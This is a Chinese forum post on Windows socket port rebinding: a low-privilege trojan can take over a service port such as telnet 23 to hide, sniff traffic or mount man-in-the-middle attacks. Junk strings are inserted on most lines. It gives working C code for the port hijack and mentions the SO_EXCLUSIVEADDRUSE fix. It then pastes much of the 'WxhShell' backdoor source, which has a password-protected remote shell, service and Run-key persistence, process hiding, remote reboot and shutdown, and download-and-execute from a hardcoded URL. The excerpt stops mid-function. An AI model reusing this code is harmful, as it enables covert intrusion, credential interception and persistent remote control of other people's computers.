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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DIfaVo/"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p\tm:QWD;  
kY|utoAP  
  saddr.sin_family = AF_INET; H.|#c^I  
GxI!{oi2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FF(#]vz'  
`O!X((  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /h H  
lH x^D;m6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Kp~VS<3  
s_OF(o  
  这意味着什么?意味着可以进行如下的攻击: ~IfJwBn-i  
tGh~!|P  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ms5ap<q#  
HI R~"It$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p{ Yv3dNl  
F^t DL:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wc NOLUl  
"fCu=@i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p;59?  
y^,1a[U.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0y" $MC v  
^T;*M_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3G)#5 Lf<  
2G67NC?+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RXpw!  
rb2S7k0{  
  #include Jr ,;>   
  #include D3Ig>gKo?m  
  #include ug!s7fo^  
  #include    J6s`'gFns  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qo90t{|c  
  int main() 'KS,'%  
  { nQX:T;WL@  
  WORD wVersionRequested; uD$u2  
  DWORD ret; hk(ZM#Bh  
  WSADATA wsaData; <EB+1GFuI  
  BOOL val; [#<-ZC#T*  
  SOCKADDR_IN saddr; @fZ,.2ar  
  SOCKADDR_IN scaddr; I {S;L  
  int err; ( iBl   
  SOCKET s; G C),N\@Q  
  SOCKET sc; <CYd+! (  
  int caddsize; j^j1  
  HANDLE mt; \:# L)   
  DWORD tid;   qPX~@^`9  
  wVersionRequested = MAKEWORD( 2, 2 ); Sz)' ogl  
  err = WSAStartup( wVersionRequested, &wsaData ); H1pO!>M  
  if ( err != 0 ) { =)H.c uc  
  printf("error!WSAStartup failed!\n"); w(*vj  
  return -1; 5,Jp[bw{H{  
  } c)TPM/>(p  
  saddr.sin_family = AF_INET; *v jmy/3  
   h:b)Wr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nX6u(U  
B4c]}r+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |"X*@s\'  
  saddr.sin_port = htons(23); xaq-.IQAM$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rxgbV.tx  
  { =r?hg GWe  
  printf("error!socket failed!\n"); | C;=-|  
  return -1; AW%#O\N  
  } ?>D+ge  
  val = TRUE; G\/zkrxmv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Zw 26  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IXMop7~  
  { b@gc{R}7  
  printf("error!setsockopt failed!\n"); V%7WUq  
  return -1; knu,"<  
  } ?yrX)3hyH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w=0(<s2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =1FRFZI!j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1y4|{7bb  
q 6:dy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Uu10)/.LC  
  { U8s2|G;K  
  ret=GetLastError(); !=*g@mgF  
  printf("error!bind failed!\n"); T] f ;km  
  return -1; ?Ny9'g>?  
  } 9N#_( uwt  
  listen(s,2); a+[KI  
  while(1) *)$Uvw E  
  { >a!/QMh  
  caddsize = sizeof(scaddr); CTB~Yj@d+  
  //接受连接请求 >Eyt17_H"n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^b4 9  
  if(sc!=INVALID_SOCKET) |sJ[0z  
  { vjbASFF0=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f O}pj:  
  if(mt==NULL) Maha$n*  
  { d\&U*=  
  printf("Thread Creat Failed!\n"); /kZebNf6H  
  break; Dzpq_F!;V  
  } z\\[S@>pt  
  } SB;&GHq"n  
  CloseHandle(mt); .9/ hHCp  
  } ;V:i!u u  
  closesocket(s); @N>\|!1CC  
  WSACleanup(); 4qb/da E:Z  
  return 0; SXSgld2uS  
  }   I13y6= d  
  DWORD WINAPI ClientThread(LPVOID lpParam) a=|K%ii+Y  
  { j2t7'bO_  
  SOCKET ss = (SOCKET)lpParam; }kw#7m54  
  SOCKET sc; @+&LYy72  
  unsigned char buf[4096]; x 77*c._3v  
  SOCKADDR_IN saddr; DzAg"6=CS  
  long num; yJ[0WY8<kC  
  DWORD val; QGMV}y  
  DWORD ret; a(m2n.0'>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5c@,bIl *  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >2Y=*K,:  
  saddr.sin_family = AF_INET; $g^@AdE%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KaLzg5is  
  saddr.sin_port = htons(23); Z\(q@3C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z 4e7PW|  
  { AmUr.ofu  
  printf("error!socket failed!\n"); rX U  
  return -1; [$ubNk;!z  
  } lB8-Z ow  
  val = 100; :tc@2/>!O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I }a`0Y&{  
  { ")1:F>  
  ret = GetLastError(); o@_q]/Mh  
  return -1; y B81f  
  } ~T"Rw2v b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H9Gh>u]}  
  { RF?`vRZOe  
  ret = GetLastError(); 0gu_yg!R  
  return -1; 77 Q5d"sIi  
  } /m!BY}4W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #JqB ;'\  
  { <X#C)-.  
  printf("error!socket connect failed!\n"); ^7`BP%6  
  closesocket(sc); [>vLf2OID  
  closesocket(ss); ~V:\ _{mE  
  return -1; N_LM/of|D  
  } WSP I|#Xr%  
  while(1) 8$] 1M,$r  
  { n.}ZkG0`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7RQR)DG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "-E\[@/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &.F4 b~A7  
  num = recv(ss,buf,4096,0); `{8K.(])s!  
  if(num>0) nd`1m[7MNu  
  send(sc,buf,num,0); FBG4pb9=~  
  else if(num==0) B5`EoZ  
  break; `C,n0'PL.  
  num = recv(sc,buf,4096,0); 3RUy, s  
  if(num>0)  > ^O7  
  send(ss,buf,num,0); eYc$ dPE  
  else if(num==0) 8%:Iv(UMk  
  break; 2/U.| *mH  
  } qRu~$K  
  closesocket(ss); -D<< kra  
  closesocket(sc); Q@=Q0  
  return 0 ; k<z )WNBf  
  } xPdG*OcX!  
\wmN  
wC"FDr+  
========================================================== M+oHtX$  
XjBW9a  
下边附上一个代码,,WXhSHELL 05|=`eJ  
TbMW|0 #w  
========================================================== \a<wKTkn  
hy9\57_#  
#include "stdafx.h" @s*-%N^:[L  
*nd!)t  
#include <stdio.h> UklUw  
#include <string.h> _OYasJUMG  
#include <windows.h> l#&8x  
#include <winsock2.h> t <~h'U  
#include <winsvc.h> >:SHV W  
#include <urlmon.h> PhLn8jNti  
]iVcog"T  
#pragma comment (lib, "Ws2_32.lib") 2y75  
#pragma comment (lib, "urlmon.lib") NCveSP  
)',R[|<  
#define MAX_USER   100 // 最大客户端连接数 Q;Ak4 [  
#define BUF_SOCK   200 // sock buffer YH$-g  
#define KEY_BUFF   255 // 输入 buffer 53_Hl]#qZ  
pR<`H'  
#define REBOOT     0   // 重启 WpDSg*fk=Y  
#define SHUTDOWN   1   // 关机 #{0HYg?(f  
W@>% {eE  
#define DEF_PORT   5000 // 监听端口 &{5,:%PXw  
sVQ|*0(J0r  
#define REG_LEN     16   // 注册表键长度 bt SRtf  
#define SVC_LEN     80   // NT服务名长度 Y!xF ;a  
F k7?xc  
// 从dll定义API " > ypIR<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .Cv6kgB@c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =<C: d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XE RUo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TT%M' 5&  
3F"lXguS  
// wxhshell配置信息 v@sIHb  
struct WSCFG { qfF~D0}  
  int ws_port;         // 监听端口 D'>_I.  
  char ws_passstr[REG_LEN]; // 口令 a9e>iU  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2F[ q).  
  char ws_regname[REG_LEN]; // 注册表键名 E#RDqL*J  
  char ws_svcname[REG_LEN]; // 服务名 xH4m|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  y`iBFC;_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q~Hn -5H4Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gE'sO T9v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8qoMo7-f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gf6p'(\zun  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E*& vy  
Ha#= (9.  
}; d2FswF$C  
pp?D7S  
// default Wxhshell configuration m[osg< CR_  
struct WSCFG wscfg={DEF_PORT, TvoyZW\?w  
    "xuhuanlingzhe", >-?f0 K  
    1, E, Z$pKL?  
    "Wxhshell", 5PCqYN(:B  
    "Wxhshell", `?H]h"{7Q  
            "WxhShell Service", L<c4kw  
    "Wrsky Windows CmdShell Service", E)&I@m  
    "Please Input Your Password: ", &N9 a<w8+  
  1, Yu/ID!`Z  
  "http://www.wrsky.com/wxhshell.exe", krxo"WgD  
  "Wxhshell.exe" OG~gFZr)6  
    }; u2 I*-K  
r+!YI k  
// 消息定义模块 \<h0Q,e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -/B+T>[nTb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z3e| UAif  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uh_RGM&  
char *msg_ws_ext="\n\rExit."; yqs4[C  
char *msg_ws_end="\n\rQuit."; C.:<-xo  
char *msg_ws_boot="\n\rReboot..."; u]wZQl#-  
char *msg_ws_poff="\n\rShutdown..."; .8g)av+  
char *msg_ws_down="\n\rSave to "; Eh`7X=Z7E  
!.$I["/=  
char *msg_ws_err="\n\rErr!"; 9)yJ: N#F  
char *msg_ws_ok="\n\rOK!"; .~db4d]  
KM0ru  
char ExeFile[MAX_PATH]; L< S9  
int nUser = 0; qAr M|\l1  
HANDLE handles[MAX_USER]; *U-4Sy  
int OsIsNt; ~G p [_ %K  
.<?GS{6 N  
SERVICE_STATUS       serviceStatus; CT@ jZtg0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8,Z_{R#|  
;a!S!% .h  
// 函数声明 Rh2+=N<X  
int Install(void); OKZV{Gja  
int Uninstall(void); fm%t^)E  
int DownloadFile(char *sURL, SOCKET wsh); A|[?#S((]  
int Boot(int flag); @u+]aI!`-  
void HideProc(void); `RT>}_j  
int GetOsVer(void); fb7;|LF  
int Wxhshell(SOCKET wsl); ;V_e>TyG  
void TalkWithClient(void *cs); GAzU?a{S  
int CmdShell(SOCKET sock); H'5)UX@LP  
int StartFromService(void); G't$Qx,IC  
int StartWxhshell(LPSTR lpCmdLine); f)rq%N &  
o|^3J{3G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S72+d%$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YaqR[F  
4B;=kL_f  
// 数据结构和表定义 @IKYh{j4  
SERVICE_TABLE_ENTRY DispatchTable[] = V-P#1Kkh  
{ ssA`I<p#  
{wscfg.ws_svcname, NTServiceMain}, ,,.QfUj/&  
{NULL, NULL} FXCMR\BsQ  
}; ZoqZap6e  
P[-E@0h)-t  
// 自我安装 {W`%g^Z|H  
int Install(void) _ye |Y  
{ XX!%RE`M8  
  char svExeFile[MAX_PATH]; P5V}#;v  
  HKEY key; 6wRd<]C  
  strcpy(svExeFile,ExeFile); K3&qq[8.e  
s[*rzoA  
// 如果是win9x系统,修改注册表设为自启动 #zy :a%  
if(!OsIsNt) { ODN /G%l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wb_J(!da  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~_)^X  
  RegCloseKey(key); @;4zrzQi7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <}Vrl`?h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7+cO_3AB  
  RegCloseKey(key); C& f= ywi0  
  return 0; ]cvwIc">  
    } 0auYG><=  
  } By,eETU]  
} 8`{:MkXP  
else { aKDKmHd  
;1=1:S8  
// 如果是NT以上系统,安装为系统服务 pF>i-i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }&D WaO]J7  
if (schSCManager!=0) {WS;dX4  
{ klYX7?  
  SC_HANDLE schService = CreateService Dpac^ST  
  ( c#]4awHU  
  schSCManager, 3`?7 <YJ  
  wscfg.ws_svcname, T<>,lQs(a  
  wscfg.ws_svcdisp, .43'HV  
  SERVICE_ALL_ACCESS, Q\vpqE! 9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zI uJ-8T"  
  SERVICE_AUTO_START, 1H`,WQ1mG  
  SERVICE_ERROR_NORMAL, =I5>$}q_&,  
  svExeFile, (L:>\m&NO  
  NULL, n&/ `  
  NULL, DfD&)tsMQ  
  NULL, l&zilVVm  
  NULL,  > |=ts  
  NULL H41?/U,{  
  ); ty!`T+3  
  if (schService!=0) *>}@7}f  
  { E&w7GZNt  
  CloseServiceHandle(schService); nFCC St$  
  CloseServiceHandle(schSCManager); BOX2O.Pm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G.B2('  
  strcat(svExeFile,wscfg.ws_svcname); 2[yd> (`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  /maJtX'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d1T!+I  
  RegCloseKey(key); 4at?(B+  
  return 0; DCa^ u'f  
    } -i|}m++  
  } Gz0]}]A  
  CloseServiceHandle(schSCManager); IPpN@  
} y.k~Y0  
} !BF; >f`  
^7*11%Q  
return 1; 372rbY  
} TX/Xt7#R:  
,p a {qne  
// 自我卸载 Tidn-2L73O  
int Uninstall(void) t?gic9 q  
{ T!{w~'=F  
  HKEY key; fOrH$?  
^76]0`gS  
if(!OsIsNt) { re<{ >  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t@;p  
  RegDeleteValue(key,wscfg.ws_regname); wlvgg  
  RegCloseKey(key); B[Scr5|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l'qg8  
  RegDeleteValue(key,wscfg.ws_regname); gD?l-RT>  
  RegCloseKey(key); uW{l(}0N  
  return 0; dT8S~-d%  
  } X?',n 1  
} j$:~Rek  
} bJ%h53  
else { 3"e,q Y  
|df Pki{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xo&_bMO  
if (schSCManager!=0) mJnIwdW*  
{ b%`1cV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;'K5J9k  
  if (schService!=0) TdM ruSY  
  { *fxG?}YT  
  if(DeleteService(schService)!=0) { @.l@\4m  
  CloseServiceHandle(schService); {P./==^0  
  CloseServiceHandle(schSCManager); aXYY:;  
  return 0; e T{ 4{  
  } xCTML!H  
  CloseServiceHandle(schService); RqrdAkg  
  } P@B]  
  CloseServiceHandle(schSCManager); reWot&;  
} 59A}}.@?m  
} bE..P&"  
Fxz"DZY6  
return 1; xp{tw$  
} [q -h|m  
~!L} yw  
// 从指定url下载文件 4VSU8tK|N]  
int DownloadFile(char *sURL, SOCKET wsh) \b x$i*  
{ 2ilQXy  
  HRESULT hr; vE?G7%,  
char seps[]= "/"; 9A=,E&  
char *token; 4HlQ&2O%#  
char *file; IJ"q~r$  
char myURL[MAX_PATH]; D@.6>:;il  
char myFILE[MAX_PATH]; 0e4{{zQx  
}Y\%RA  
strcpy(myURL,sURL); bd-L` ={j  
  token=strtok(myURL,seps); 7NGxa6wi  
  while(token!=NULL) `;C  V=,M  
  { 5;EvNu  
    file=token; L4HI0Mx  
  token=strtok(NULL,seps); /4Gt{yg Sr  
  } 5j(k:a+!H  
~>|ziHx  
GetCurrentDirectory(MAX_PATH,myFILE); %h@EP[\  
strcat(myFILE, "\\"); &8lZNv8;(p  
strcat(myFILE, file); e7 o.xR  
  send(wsh,myFILE,strlen(myFILE),0); 3w'tH4C[Y  
send(wsh,"...",3,0); Nf\LN$ &8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o+'6`g'8  
  if(hr==S_OK) 0l6.<-f{  
return 0; (<9u-HF#  
else 8A# ;WG  
return 1; 02^rV*re  
mzgfFNm^G)  
} Zy/_ E@C}u  
hgq;`_;1,  
// 系统电源模块 @ 6vIap|  
int Boot(int flag) W<g1<z\f  
{ fJg+Ryo  
  HANDLE hToken; H:| uw  
  TOKEN_PRIVILEGES tkp; 9'B `]/L  
|BXg/gW  
  if(OsIsNt) { Zh~'9 JH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2^7`mES  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h376Be{P  
    tkp.PrivilegeCount = 1; <hyKu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /{I$#:M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2,b$7xaf  
if(flag==REBOOT) { !nnC3y{G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) > (<f 0  
  return 0; $& c*'3  
} *.[. {qG(  
else { 'w aaw_>b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \FaP|28h  
  return 0; @0''k  
} jP.dDYc  
  } 8s@3hXD&  
  else { >t+P(*u  
if(flag==REBOOT) { jH:[2N?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f o3}W^0  
  return 0; ;uGv:$([g  
} :3 mh@[V  
else { +}AI@+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @6.vKCSE  
  return 0; ]SEZaT  
} sI2^Qp@O1  
} Ewz!O`  
%hP^%'G  
return 1; HzsdHH(J  
} .%-8 t{dt  
c+ie8Q!  
// win9x进程隐藏模块 o8MZiU1Xf  
void HideProc(void) 8Zdn,}Z  
{ pxi3PY?  
#'}*dy/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :`sUt1Fw.  
  if ( hKernel != NULL ) h68 xet;  
  { &p,]w~d,U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]?4hyN   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (9)Q ' 'S  
    FreeLibrary(hKernel); Q!3_$<5<E>  
  } uY*L,j^)  
r JB}qYD  
return; Z_NCD`i;  
} =_^X3z0  
a+QpM*n7Lq  
// 获取操作系统版本 Ny# ^&-K  
int GetOsVer(void) Gc7=  
{ '3;b@g,  
  OSVERSIONINFO winfo; i XN1I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  \=o-  
  GetVersionEx(&winfo); wd6owr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &^nGtW%a 9  
  return 1; iy"*5<;*DD  
  else %iB,IEw  
  return 0; L/[K"  
} rC5O")I<  
`vV7c`K?  
// 客户端句柄模块 !r-F>!~  
int Wxhshell(SOCKET wsl) Q2> gU#  
{ : Dp0?&_  
  SOCKET wsh; F'Z,]b'st3  
  struct sockaddr_in client; w-jVC^C]  
  DWORD myID; 2AdDIVYC  
mkpMfPt  
  while(nUser<MAX_USER) unxqkU/<Z  
{ ]$hBMuUa  
  int nSize=sizeof(client); $cg cX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I^]nqK  
  if(wsh==INVALID_SOCKET) return 1; Vvo 7C!$z  
6u%&<")4HP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4M T 7`sr  
if(handles[nUser]==0) |j|rS5  
  closesocket(wsh); Gw` L"  
else VEH>]-0K  
  nUser++; gG uO  
  } 05R@7[GWq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HOi`$vX }N  
P<-@h1p,  
  return 0; TA\vZGJ('  
} k:%%/  
q\%I#1  
// 关闭 socket k3|Z7eW}[  
void CloseIt(SOCKET wsh) ^z\cyT%7t  
{ Nboaf  
closesocket(wsh); OTv)  
nUser--; \7_y%HR  
ExitThread(0); @VI@fN  
} @6]JIJE  
SrJE_~i  
// 客户端请求句柄 QV8g#&z  
void TalkWithClient(void *cs) -g<oS9   
{ i~72bMwsA  
=pr7G+_u  
  SOCKET wsh=(SOCKET)cs; XP}<N&j  
  char pwd[SVC_LEN]; A}w/OA97RO  
  char cmd[KEY_BUFF]; ?A0)L27UE&  
char chr[1]; O0:q;<>z  
int i,j; |BYRe1l6l  
ykJ>*z  
  while (nUser < MAX_USER) { C,zohlpC  
)B*t :tN  
if(wscfg.ws_passstr) { kf9X$d6   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mZBo~(}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ig"L\ C"T  
  //ZeroMemory(pwd,KEY_BUFF); tX[WH\(xI  
      i=0; bd`P0f?  
  while(i<SVC_LEN) { 9JwPSAo;  
T4F/w|Q  
  // 设置超时 T>>c2$ x  
  fd_set FdRead; u:b=\T L  
  struct timeval TimeOut; p}P-6&k,U  
  FD_ZERO(&FdRead); #z42C?V  
  FD_SET(wsh,&FdRead); cb bFw  
  TimeOut.tv_sec=8; d5-qZ{W  
  TimeOut.tv_usec=0; hGrdtsH?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ( 5~h"s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [Qr"cR^  
!m$jk2<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tp|d*7^i  
  pwd=chr[0]; $ Q0n  
  if(chr[0]==0xd || chr[0]==0xa) { 31)&vf[[  
  pwd=0; P2Y^d#jO  
  break; d5d@k  
  } `h;[TtIX4  
  i++; TZ`SZDc7_  
    } 6:2vP NF  
rlD8D|ZG  
  // 如果是非法用户,关闭 socket V8(-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pot~<d`:K"  
} ce(#2o&`  
Ca\6vR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,?3G;-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z{>Rc"%\  
GthYzd:'hJ  
while(1) { 8>V5d Ebx'  
Ts9uL5i  
  ZeroMemory(cmd,KEY_BUFF); I:.s_8mH}  
M3AXe]<eC1  
      // 自动支持客户端 telnet标准   Pc9H0\+Xk  
  j=0; W!<U85-#S  
  while(j<KEY_BUFF) { j.YA 2mr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;rS{:  
  cmd[j]=chr[0]; KlqY@Xt  
  if(chr[0]==0xa || chr[0]==0xd) { ~ K=b\xc^  
  cmd[j]=0; Mp]rUPK  
  break; pJ{Y lS{  
  } W>LR\]Ti@  
  j++; D,6:EV"sa  
    } t&p|Ynz?i  
Dzbz)Zst  
  // 下载文件 &wX]_:?  
  if(strstr(cmd,"http://")) { cnLro  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?4B`9<j8%  
  if(DownloadFile(cmd,wsh)) cNH7C"@GVu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _G0 x3  
  else 54/=G(F   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (w{j6).3Dj  
  } H>C=zo,oiC  
  else { Cyp'?N  
olcDt&xv]  
    switch(cmd[0]) { Y$zSQ_k;U  
  Q.[0ct  
  // 帮助 P*o9a  
  case '?': { t^L]/$q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5X+A"X ;C  
    break; g+l CMW\  
  } Z{R>  
  // 安装 U6VKMxSJ  
  case 'i': { BuwY3F\-O  
    if(Install()) Xeaj xcop#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [gB+C84%%  
    else [!z,lY>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u4j5w  
    break;  XilS!,  
    } P%zK;#8V  
  // 卸载 CWlw0 X  
  case 'r': { M`>E|" <  
    if(Uninstall()) 1"g<0 W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g5yJfRLxp  
    else :%.D78&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }'.m*#Y  
    break; #F#%`Rv1  
    } nwWJ7M,A  
  // 显示 wxhshell 所在路径 KSvE~h[#+  
  case 'p': { Uv.)?YeGh  
    char svExeFile[MAX_PATH]; ise-O1'  
    strcpy(svExeFile,"\n\r"); kl`W\tF  
      strcat(svExeFile,ExeFile); ]! dTG  
        send(wsh,svExeFile,strlen(svExeFile),0); xwr8`?]y  
    break; uS-|wYE  
    } Z7#+pPt!  
  // 重启 Zh,71Umz  
  case 'b': { +H.`MZ=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i$@:@&(~Y  
    if(Boot(REBOOT)) ]q.0!lh+WL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [~ fraK,)  
    else { RpK@?[4s  
    closesocket(wsh); Q@niNDaW2  
    ExitThread(0); w@ pPcZ>z/  
    } Gq6*SaTk  
    break; "z c l|@  
    } H[gWGbPq7  
  // 关机 g\U-VZ6;p  
  case 'd': { phK/   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VQs5"K"  
    if(Boot(SHUTDOWN)) } #J/fa9 !  
